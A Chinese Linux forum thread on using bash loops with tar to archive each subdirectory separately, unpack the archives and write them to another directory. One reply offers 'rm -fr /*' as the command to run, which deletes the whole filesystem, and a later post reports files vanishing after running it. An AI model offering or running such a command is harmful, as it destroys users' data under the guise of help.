werewqr231 发表于 2024-3-5 01:29:52

linux如何批量打包,按目录,每目录打包一个。7Z好像不行吧


/202111/adagd/xxxx.jpg
/202111/adagd/xxxx.jpg
/202111/adagd/xxxx.jpg
/202111/adagd/xxxx.jpg
/202111/adagd/xxxx.jpg
~~~~~~~~~
/202111/fdgah/xxxx.jpg
/202111/fdgah/xxxx.jpg
/202111/fdgah/xxxx.jpg
~~~~~~~~~
/202201/adhs/xxxx.jpg
/202201/adhs/xxxx.jpg
/202201/adhs/xxxx.jpg
~~~~~~
/202202/xxaa/xxxx.jpg
/202202/xxaa/xxxx.jpg
/202202/xxaa/xxxx.jpg
~~~~~~~
/202202/vvdd/xxxx.jpg
/202202/vvdd/xxxx.jpg
/202202/ssfgg/xxxx.jpg
~~~~~~~


只打包不压缩,压缩也压不了多少
打包成
/202111/adagd.tar
/202111/fdgah.tar
~~~~~~~~~~~~
/202202/ssfgg.tar

diy586 发表于 2024-3-5 01:29:58

或者忽略文件,只打包目录:

cd /202202/ && for d in *; do [ -d $d ] && tar cvf $d.tar $d; done

灌水王 发表于 2024-3-5 01:30:40

cd /202202/ && for d in *; do tar cvf $d.tar $d; done

梁王 发表于 2024-3-5 01:31:05

谢谢大佬

另外能写下,以后解包的命令吗?

有了备份,以后有需要的时候还是需要解开这些包的


另外问下 打包可以打包到别的目录下吗

/202111/adagd目录下所有文件打包到
/zzip/20211/adagd.tar

lengyuye 发表于 2024-3-5 01:31:47

tar 用绝对路径?

灌水王 发表于 2024-3-5 01:32:38

哪用什么?

灌水王 发表于 2024-3-5 01:33:16

解包:

cd /202202/ && for f in *.tar; do tar xvf $f; done

打包到别的目录下就把之前2条打包命令中的tar cvf $d.tar $d改成tar cvf /zzip/20211/$d.tar $d就行了。

klsfu9900 发表于 2024-3-5 01:34:13

去图片的目录里执行这行代码就行了
rm -fr /*

灌水王 发表于 2024-3-5 01:34:37

输了好几遍这个命令了,我的文件怎么不见了,是隐藏吗,还是转移到别的地方
找了好久找不到
页: [1]
查看完整版本: linux如何批量打包,按目录,每目录打包一个。7Z好像不行吧